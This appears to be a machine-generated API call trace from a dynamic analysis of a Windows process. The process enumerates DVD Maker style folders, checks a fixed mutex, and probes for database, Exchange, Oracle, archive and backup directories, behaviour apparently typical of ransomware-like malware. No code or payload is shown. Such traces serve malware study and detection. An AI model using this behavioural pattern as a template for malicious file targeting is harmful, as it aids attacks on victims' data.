lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.256] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.257] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.257] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.257] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.257] GlobalUnlock (hMem=0x440004) returned 0 [0058.257] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.257] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.257] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.257] GlobalUnlock (hMem=0x440004) returned 0 [0058.257] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.257] GlobalUnlock (hMem=0x44000c) returned 0 [0058.257] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.257] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.257] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.257] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.257] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.257] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.257] GlobalUnlock (hMem=0x44000c) returned 0 [0058.257] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.257] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.257] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.257] GlobalUnlock (hMem=0x44000c) returned 0 [0058.257] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.257] GlobalUnlock (hMem=0x440004) returned 0 [0058.257] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.257] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.257] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.257] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.258] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.258] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.258] GlobalUnlock (hMem=0x440004) returned 0 [0058.258] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.258] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.258] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.258] GlobalUnlock (hMem=0x440004) returned 0 [0058.258] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.258] GlobalUnlock (hMem=0x44000c) returned 0 [0058.258] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.258] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.258] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.258] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.258] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.258] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.258] GlobalUnlock (hMem=0x44000c) returned 0 [0058.258] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.258] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.258] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.258] GlobalUnlock (hMem=0x44000c) returned 0 [0058.258] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.258] GlobalUnlock (hMem=0x440004) returned 0 [0058.258] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.258] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2f02aa, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2f02aa, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5e02, dwReserved0=0x0, dwReserved1=0x0, cFileName="push.png", cAlternateFileName="")) returned 1 [0058.258] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.258] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.258] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.258] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.258] GlobalUnlock (hMem=0x440004) returned 0 [0058.259] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.259] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.259] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.259] GlobalUnlock (hMem=0x440004) returned 0 [0058.259] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.259] GlobalUnlock (hMem=0x44000c) returned 0 [0058.259] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.259] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0058.259] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.259] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.259] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.259] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.259] GlobalUnlock (hMem=0x44000c) returned 0 [0058.259] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.259] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.259] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.259] GlobalUnlock (hMem=0x44000c) returned 0 [0058.259] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.259] GlobalUnlock (hMem=0x440004) returned 0 [0058.259] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.259] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb70, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_item.png", cAlternateFileName="")) returned 1 [0058.259] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.259] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.259] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.259] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.259] GlobalUnlock (hMem=0x440004) returned 0 [0058.259] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.260] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.260] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.260] GlobalUnlock (hMem=0x440004) returned 0 [0058.260] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.260] GlobalUnlock (hMem=0x44000c) returned 0 [0058.260] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.260] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_title.png", cAlternateFileName="")) returned 1 [0058.260] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.260] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.260] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.260] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.260] GlobalUnlock (hMem=0x44000c) returned 0 [0058.260] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.260] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.260] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.260] GlobalUnlock (hMem=0x44000c) returned 0 [0058.260] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.260] GlobalUnlock (hMem=0x440004) returned 0 [0058.260] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.260] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_title.png", cAlternateFileName="")) returned 0 [0058.260] GetLastError () returned 0x12 [0058.260] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0058.261] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rectangles", cAlternateFileName="RECTAN~1")) returned 1 [0058.261] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.261] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.261] GlobalLock (hMem=0x440004) returned 0x550170 [0058.261] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.261] GlobalUnlock (hMem=0x440004) returned 0 [0058.261] GlobalLock (hMem=0x440004) returned 0x550170 [0058.261] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.261] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.261] GlobalUnlock (hMem=0x440004) returned 0 [0058.261] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.261] GlobalUnlock (hMem=0x44000c) returned 0 [0058.261] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.261] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.261] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.261] GlobalUnlock (hMem=0x44000c) returned 0 [0058.261] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.261] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.261] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.261] GlobalUnlock (hMem=0x44000c) returned 0 [0058.261] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.261] GlobalUnlock (hMem=0x440004) returned 0 [0058.261] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.262] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles", len=0x36 | out: pbstr=0x18edc4*="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles") returned 1 [0058.262] GlobalLock (hMem=0x440004) returned 0x550170 [0058.262] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.262] GlobalUnlock (hMem=0x440004) returned 0 [0058.262] GlobalLock (hMem=0x440004) returned 0x550170 [0058.262] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.262] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.262] GlobalUnlock (hMem=0x440004) returned 0 [0058.262] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.262] GlobalUnlock (hMem=0x44000c) returned 0 [0058.262] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@쇾R쇒R企@\x18㾤Q\x18\x1b")) returned 0xffffffff [0058.265] GetLastError () returned 0x3 [0058.265] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", cchLength=0x37 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\") returned 0x37 [0058.265] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0058.265] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\眵?\x18") returned 21 [0058.265] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="夜U䱠@셤R企@\x18䀴Q\x181")) returned 0xffffffff [0058.267] GetLastError () returned 0x2 [0058.267] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", cchLength=0x37 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\") returned 0x37 [0058.267] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0058.267] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 9 [0058.267] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="夜U䱠@쏬R企@\x18?T\x18;")) returned 0xffffffff [0058.269] GetLastError () returned 0x2 [0058.269] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", cchLength=0x37 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\") returned 0x37 [0058.269] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0058.269] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="夜U䱠@몤R企@\x18?T\x18D")) returned 0xffffffff [0058.270] GetLastError () returned 0x2 [0058.271] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", cchLength=0x37 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\") returned 0x37 [0058.271] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0058.271] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="夜U䱠@셤R企@\x18쏬R\x18j")) returned 0xffffffff [0058.272] GetLastError () returned 0x2 [0058.272] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", cchLength=0x37 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\") returned 0x37 [0058.272] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0058.272] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="夜U䱠@몤R企@\x18?T\x18q")) returned 0xffffffff [0058.274] GetLastError () returned 0x2 [0058.274] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", cchLength=0x37 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\") returned 0x37 [0058.274] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\쏨RP") returned 6 [0058.274] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="夜U䱠@삌R企@\x18?T\x18y")) returned 0xffffffff [0058.275] GetLastError () returned 0x2 [0058.275] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", cchLength=0x37 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\") returned 0x37 [0058.275] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0058.275] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="夜U䱠@셤R企@\x18?T\x18\x81")) returned 0xffffffff [0058.277] GetLastError () returned 0x2 [0058.277] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", cchLength=0x37 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\") returned 0x37 [0058.277] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0058.277] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="夜U䱠@몤R企@\x18?T\x18\x88")) returned 0xffffffff [0058.278] GetLastError () returned 0x2 [0058.278] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", cchLength=0x37 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\") returned 0x37 [0058.278] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18da44, 